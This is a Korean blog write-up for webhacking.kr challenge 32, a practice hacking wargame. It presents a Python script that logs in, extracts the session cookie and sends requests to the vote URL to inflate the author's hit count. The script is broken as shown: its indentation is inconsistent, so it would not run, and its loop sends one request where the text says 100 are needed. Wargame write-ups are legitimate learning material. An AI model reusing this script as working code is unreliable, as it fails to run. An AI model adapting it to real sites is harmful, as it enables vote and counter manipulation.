본문 바로가기
웹 해킹/webhacking.kr

webhacking.kr 32번-파이썬 스크립트

by sonysame 2018. 2. 10.

vote_check=ok가 없어져야 HIT가 올라간다.

내 아이디인 sonysame의 HIT가 100이 되어야 한다.

이것을 버프수트로 하나하나 반복하기는 힘드므로 파이썬 스크립트를 짰다.

# -*- coding: utf-8 -*-

import requests


def main():

    ID=raw_input("id: ")

    PW=raw_input("pw: ")

    cookie=login(ID,PW)

    print(cookie)

    query='http://webhacking.kr/challenge/codeing/code5.html?hit={0}'.format(ID)


    for i in range(1,2):

        try:

        #쿼리를 날린다.

            result=requests.get(query, cookies=cookie)

            print("{0}번째 쿼리 전송 !".format(i))

        except:

            print("Error !")

            exit()


    print("Complete!")


def login(ID, PW):

    form={'id':ID,'pw':PW}

    print(form)


    #post 로 로그인

    result=requests.post('http://webhacking.kr?enter=1',data=form)

#    print(result.text)


    #로그인 실패 시에 나오는 특정 문자열을 검색

    if(result.text.find("===========================================")!=-1):

        print("Login Fail!")

        exit()


    #로그인 성공 시 cookies를 반환

    

    else:

        print(result.headers.get('set-cookie'))

    cookie=result.headers.get('set-cookie')

        print('id : '+form['id']+'\tLogin Success !');

        max=cookie.index('=',0)

max2=cookie.index(';',max+1)


#        세션 이름 : 세션값의 형태로 cookies에 저장

        cookies={cookie[0:max]:cookie[max+1:max2]}

        return cookies


if(__name__=="__main__"):

    main()

                


#소스는 http://rogiry.tistory.com/57 를 참고했다!


'웹 해킹 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 47번  (0) 2018.02.10
webhacking.kr 58번  (0) 2018.02.10
webhacking.kr 31번-포트포워딩  (0) 2018.02.09
webhacking.kr 27번-SQL INJECTION  (0) 2018.02.09
webhacking.kr 25번  (0) 2018.02.09